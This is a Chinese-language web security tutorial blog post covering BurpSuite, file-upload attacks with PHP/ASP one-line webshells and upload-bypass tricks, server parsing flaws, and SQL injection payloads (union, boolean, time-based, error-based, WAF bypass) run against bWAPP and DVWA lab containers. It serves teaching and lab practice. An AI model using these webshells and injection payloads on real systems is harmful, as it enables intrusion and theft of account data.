首页 > 其他分享 >Web安全

Web安全

时间:2023-05-31 21:46:29浏览次数:38  
标签:Web 文件 admin database 安全 php select 注入

Web安全工具

HackBar

HackBar

Charset

Charset

Cookie Hacker

Cookie Hacker

Proxy SwitchySharp

Proxy SwitchySharp

Wappalyzer

https://www.wappalyzer.com/

Wappalyzer

BurpSuite

BurpSuite是用于攻击Web应用程序的集成平台框架。它包含了许多web安全相关工具,也同时设计了接口,满足安全人员自行扩展功能的需求。

BurpSuite功能

  • Proxy:是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人, 允许你拦截,查看,修改在两个方向上的原始数据流。

  • Intruder——是一个定制的高度可配置的工具,对web应用程序进行自动化攻击, 如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。

  • Repeater——是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。

  • Sequencer——是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。

  • Decoder——是一个进行手动执行或对应用程序数据者智能解码编码的工具。

  • Comparer——是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。

Mac下BurpSuite安装

https://portswigger.net/burp/communitydownload

  • BurpSuite启用代理

  • Google 配置代理

 

  • Mac 配置系统代理

  • Windows 10 设置系统代理

配置HTTPS

chrome://settings/security

文件上传漏洞

  • 什么是文件上传漏洞

文件上传(File Upload)例如:用户上传附件、改头像、分享图片、简历投递等。 文件上传漏洞是开发者没有做充足验证(包括前端、后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者WebShell等。

测试环境

docker pull raesene/bwapp
docker run -d -p 0.0.0.0:80:80 raesene/bwapp

访问:http://127.0.0.1:80/install.php

  • 安装bwapp

 

 

 

  • 注册账户

 

 

  • 登录

 

 

  • 文件上传

WebShell

 

  • PHP一句话木马

<?php @eval($_POST[“value”]);?>
  • ASP一句话木马

<%execute(request("value"))%>
  • ASPX一句话木马

<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>
  • 其他一句话木马

<%eval request("value")%> 
<%execute request("value")%> <%execute(request("value"))%>

 

编辑PHP木马文件并上传

  • eval

PHP4、PHP5、PHP7 eval ———— Evaluate a string as PHP code

Description

eval(string $code): mixed
<?php @eval($_POST['hacker']); ?>
  • 上传Shell

 

 

 

 

  • 使用curl 连接shell

curl -d "hacker=echo getcwd();" http://127.0.0.1/images/shell.php
curl -d "hacker=echo get_current_user();" http://127.0.0.1/images/shell.php
  • 使用postman连接

 

 

 

  • 使用中国菜刀

https://github.com/raddyfiy/caidao-official-version

 

 

 

 

 

 

上传绕过

文件后缀绕过

 

  • 修改文件后缀绕过

 

  • 为啥后缀为php3可以被识别为php脚本

https://httpd.apache.org/docs/2.4/

docker exec -it `docker ps | grep bwapp | awk -F ' ' '{print $1}'` bash
netstat -anlpt | grep 80

vim /etc/apache2/apache2.conf
cd /etc/apache2/mods-enabled
vim php5.conf

前端验证绕过、.htaccess绕过、大小写绕过

Exploit Database 官方网址 Web Server漏洞

IIS 5.X/ 6.0解析漏洞

IIS在解析asp文件的时候,在IIS 5.X/ 6.0版本中会调用一个asp.dll动态链接库来解析我们要访问的文件资源时会触发这两种漏洞 逆向:使用IDA和F5插件逆向asp.dll就可以得到相关代码

  • 漏洞1: 当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都会解析为asp文件

www.xxx.com/xx.asp/xx.jgp 会被解析成asp文件
  • 漏洞2:服务器默认不解析";"以后的内容

www.xxx.com/xx.asp;.jpg 会被解析成为asp文件

Nginx解析漏洞

在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。 PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于php.ini配置文件中,默认是开启的。 当URL中有不存的文件时,PHP就会默认向前解析。

访问:wwww.xxx.com/phpinfo.jpg/1.php 当1.php不存在时就会解析phpinfo.jpg文件,但是按照PHP格式解析

Apache解析漏洞

Apache在1.x和2.x版本中存在解析漏洞: Apache从左至右开始判断后缀,跳过非可识别后缀,直到找到可识别后缀为止,然后将该可识别后缀进行解析。

当访问www.xxx.com/shell.php.text 服务器会解析shell.php.text文件,但是按照PHP文件格式进行解析

前端验证绕过

漏洞利用:

  • 使用BurpSuite抓包,然后修改内容后放行.

  • 同Chrome禁止/删除js代码

.htaccess绕过

.htaccess文件(分布式配置文件)提供了一个方法,是的配置文件可以随文件夹不同而不同,其所防止的文件夹及所有子文件夹都会受此影响,其语法同apache主配置文件。

漏洞利用:

1、上传一个.htaccess文件,文件内容设置为AddType application/x-httpd-php .test 将.text后缀文件解析为php文件类型 2、上传一句话木马文件,文件名设置为shell.test 3、在浏览器中访问shell.text即可执行一句话木马

大小写绕过

Window平台不区分大小写、Linux平台区分大小写 Linux+Apache 在系统启用加载speling模块,访问URL地址时就不区分大小写就可以正常访问页面

如: php改为pHp

Windows文件流特性绕过

什么是Windows文件流?

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其它命名的文件流,Windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

我们来用Windows平台做一些测试:

echo 111 > test.txt:111.txt

echo test > test.txt

echo 222 > test.txt::$data

  • notepad 打开创建的文件流

利用这个漏洞进行绕过及webshell上传

%00截断绕过

文件头检测绕过

cat test.php >> test.png
php test.png

Fuzz

SQL注入

MySQL简介

SQL注入的危害

  • 什么SQL注入

手工检测是否存在注入漏洞

  • and 1=1 及and 1=2 | and '1'= '1 及 and '1' = '2

  • -0

  • /

  • 单引号 ' 无论是str类型还是int类型都会因为单引号个数不匹配而报错,页面返回错误,则存在SQL注入

GET注入

  • 源码

  • 使用order by 探测当前查询列数

根据源码中SQL分析,查询movies表所有列,movies表一共有6列

 

order by 10 猜解下可能是10列

order by 7

使用union探测

列出表、用户、数据库

union select 1,user(),database(),table_name,version(),6,7 from information_schema.tables where table_schema=database() --

爆出表字段名

union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' --

 

获取系统账户密码

union select 1,id,login,password,email,6,7 from users --

 

尝试逆向密码

https://www.cmd5.com/

POST注入

使用burp suite抓包

探测是否存在注入

 

五种注入类型

  • 布尔型注入

  • 联合查询注入

  • 基于时间延迟注入

  • 报错型注入

  • 可多语句查询注入

布尔型注入

  • and 1=1

判断表

and exists (select * from admin)

判断表列明

and exists (select admin from admin)

判断用户名长度

and (select len(admin) from admin)=5  如果返回正常说明管理员账户的长度为5

判断密码长度

and (select len(password) from admin)=32  猜解管理密码长度是否为32

通过判断ascii码来判断(ASCII码表逐字猜解)

如:用户名是:admin
and (select top 1 asc(mid(database(),1,1)) from admin)>100
and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50  返回正常说明大于
​
and (select top 1 asc(mid(admin,1,1)) from admin)=97  返回正常说明等于97 97对应的字母为a
and (select top 1 asc(mid(admin,2,1)) from admin)=100 返回正常说明等于100 97对应的字母为d
and (select top 1 asc(mid(admin,3,1)) from admin)=109 返回正常说明等于109 97对应的字母为m
and (select top 1 asc(mid(admin,4,1)) from admin)=105 返回正常说明等于105 97对应的字母为i
and (select top 1 asc(mid(admin,5,1)) from admin)=110 返回正常说明等于110 97对应的字母为n
​
如:密码是21232f297a57a5a743894a0e4a801fc3
and (select top 1 asc(mid(password,1,1)) from admin)=50
and (select top 1 asc(mid(password,2,1)) from admin)=49

时间延迟注入

  • 时间盲注是什么?

通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功,如:SQL语句中使用sleep()函数看加载网页的时间来判断注入点。

适用场景:通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。

select * from users where id = 1 and sleep(5)

当id=1 存在时,休眠5秒 当id=1 不存在时,直接返回

页面不会返回错误信息,不出输出union注入所查询出来的泄露的信息。类似搜索这类请求,Boolean注入也无能为力,因为搜索返回空也属于正常的,这时就得采用时间注入了,及判断请求响应的时间,但该类型注入获取的信息速度比较慢,请求次数比较多,纯手工非常复杂。

  • 时间盲注常用函数

substr(a,b,c):从b位置开始,截取字符串a的c长度 count(): 计算总数 ascii():返回字符的ASCII码 length(): 返回字符串的长度 left(a,b): 从左往右截取字符串a的前b个字符 sleep(n): 将程序挂起n秒

http://192.168.26.129/sqli_15.php?title=abc' or sleep(3) -- &action=search

bool注入 猜解数据库名长度

http://192.168.26.129/sqli_15.php?title=World War z' and length(database()) > 1 and  sleep(3) -- &action=search
http://192.168.26.129/sqli_15.php?title=World War z' and length(database()) = 5 and  sleep(3) -- &action=search

 

爆出数据库名

and substr(database(),1,1)='b' and  sleep(3)
and substr(database(),2,1)='w' and  sleep(3)
and substr(database(),3,1)='a' and  sleep(3)
and substr(database(),4,1)='p' and  sleep(3)
and substr(database(),5,1)='p' and  sleep(3)

爆出数据库名(编码)

and ascii(substr(database(),1,1)=98) and  sleep(3)
and ascii(substr(database(),2,1)=98) and  sleep(3)
and ascii(substr(database(),3,1)=98) and  sleep(3)
and ascii(substr(database(),4,1)=98) and  sleep(3)
and ascii(substr(database(),5,1)=98) and  sleep(3)

报错型注入

如果页面能输出SQL报错信息,则可以从报错信息中获得想要的信息。 典型的就是利用group by的duplicate entry错误

多语句查询注入

?id=1;update t set name = 'a' where id=1

能够执行多条查询语句,非常危险。

HTTP头注入

在burp suite中重放请求,测试是否存在注入 根据页面展示数据,猜测后端SQL语句可能是 insert into ... values("user-agent", "ip addr")

user-agent-test', (select database())); #

源码分析

报错注入

MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入主要分为以下几类:

  • BigInt数据类型溢出;

  • Xpath语法错误;

  • count() + rand() + group_by()导致重复;

  • 空间数据类型函数错误

导致MySQl报错并显示出数据的函数:

  • foor函数;

  • extractvalue函数;

  • updatexml函数;

  • exp()函数;

docker pull docker pull sagikazarmark/dvwa
docker run -d -p 0.0.0.0:81:80 docker pull sagikazarmark/dvwa

admin/password

http://192.168.26.129:81/vulnerabilities/sqli/?id=1' and extractvalue(1,concat(0x7e, (select @@version))) -- '&Submit=Submit#
http://192.168.26.129:81/vulnerabilities/sqli/?id=1' and extractvalue(1, concat(0x7e,(select user()),0x7e,(select database()))) -- '&Submit=Submit#

 

 

 

 

WAF绕过

混淆注入

  • 混淆和绕过

普通的注入方式过于明显,很容易被检测。因此,需要改变攻击手法,绕过检测和过滤,即混淆和绕过。

使用union做测试,根据回显SQL分析, union关键字被过滤了

union关键字大小写转换,把union改为大写后,成功执行union语句

UNION select 1,database(),3,4,5,6,7 &action=go

 

  • 大小绕过原理

MySQl执行SQL语句,对SQL指令是不区分大小写,对表名、库名敏感大小写,对表的列明大小写不敏感

||和&&绕过

 

标签:Web,文件,admin,database,安全,php,select,注入
From: https://www.cnblogs.com/0x00000/p/17447384.html

相关文章

  • 电子政务及安全研究报告
    一、电子政务的内容和网络规范的内容(一)电子政务的内容电子政务是指国家机关在政务活动中,全面应用现代信息技术、网络技术以及办公自动化技术等进行办公、管理和为社会提供公共服务的一种全新的管理模式。广义电子政务的范畴,应包括所有国家机构在内;而狭义的电子政务主要包括直接......
  • 探索 Web 管理之路,OpenYurt 社区 UI/CLI SIG 正式启动
    作者:陈璐、邓梁背景OpenYurt是业界首个依托云原生技术体系、“零”侵入实现的智能边缘计算平台。它具有“云、边、端一体化”的全方位能力,可以帮助用户快速实现大规模边缘计算业务和异构算力的高效交付、运维及管理。在前几个迭代的大版本中,OpenYurt项目已经取得了许多进展,如 1......
  • 学习文章:即时通信的安全加密通信模型研究
    学习文章:即时通信的安全加密通信模型研究,具体见原论文摘要重点:即时通信的安全性和易用性。主要工作:分析国内外即时通信的安全通道模型、详细讨论起消息加密和发送流程、给出不同加密模式下的群聊和多设备端的消息转发原理,设计端到端加密的安全通道模型,分析各种安全通信模型的......
  • webpack打包后图片资源无法加载问题
    前言图片在本地开发可以显示,但是打包部署后图片无法加载修改webpack.config.js配置将生成环境的publicPath的路径改为"./"   判断是开发环境还是生成环境在package.json中通过 cross-envNODE_ENV=production设置环境变量 通过 process.env.NODE_ENV访问环境变量......
  • Web - js数组对象去重
    letarr=[{id:'1',key:'1',value:'明月'},{id:'3',key:'2',value:'可欣'}}]Map()方法set方法设置key所对应的键值,然后返回整个Map结构。如果key已经有值,则键值会被更新,否则就新生成该键。values方法可......
  • When Cyber Security Meets Machine Learning 机器学习 安全分析 对于安全领域的总结
    链接:http://ucys.ugr.es/jnic2016/docs/MachineLearning_LiorRokachJNIC2016.pdf https://people.eecs.berkeley.edu/~adj/publications/paper-files/SecML-MLJ2010.pdf一些关键点:算了,不总结了。......
  • 【WebView2】(二)WinForm 引入 WebView2 显示 Web 内容
    https://www.itsvse.com/thread-10362-1-1.html需求:使用VS2022新建一个.NETFramework4.7.2的WinForm项目,引用Microsoft.Web.WebView2SDK包,使用WebView2控件显示和渲染Web应用。MicrosoftEdgeWebView2控件允许在本机应用中嵌入web技术(HTML、CSS以及JavaSc......
  • elasticsearch如何安全重启
    elasticsearch如何安全重启节点问题:elasticsearch集群,有时候可能需要修改配置,增加硬盘,扩展内存等操作,需要对节点进行维护升级。但是业务不能停,如果直接kill掉节点,可能导致数据丢失。而且集群会认为该节点挂掉了,就开始转移数据,当重启之后,它又会恢复数据,如果你当前的数据量已经很大......
  • SCA 技术进阶系列(二):代码同源检测技术在供应链安全治理中的应用
    直击痛点:为什么需要同源检测随着“数字中国”建设的不断提速,企业在数字化转型的创新实践中不断加大对开源技术的应用,引入开源组件完成应用需求开发已经成为了大多数研发工程师开发软件代码的主要手段。随之而来的一个痛点问题是:绝大多数的应用程序都包含开源组件风险。因而,能够......
  • 【windowns】记一次天玥安全网关无法连接运维机排查
    问题背景:在用天玥安全网关来连接项目中的运维机时,发现无法连接报网络连接错误(报错图如下:),但是通过同网络的区域的其它电脑是可以正常远程到目标主机。解决方案:经过排查发现,是因为之前有做加固操作,WindowsServer远程桌面SSL/TLS漏洞修复  修复过程如下:1、运行“gpedit.m......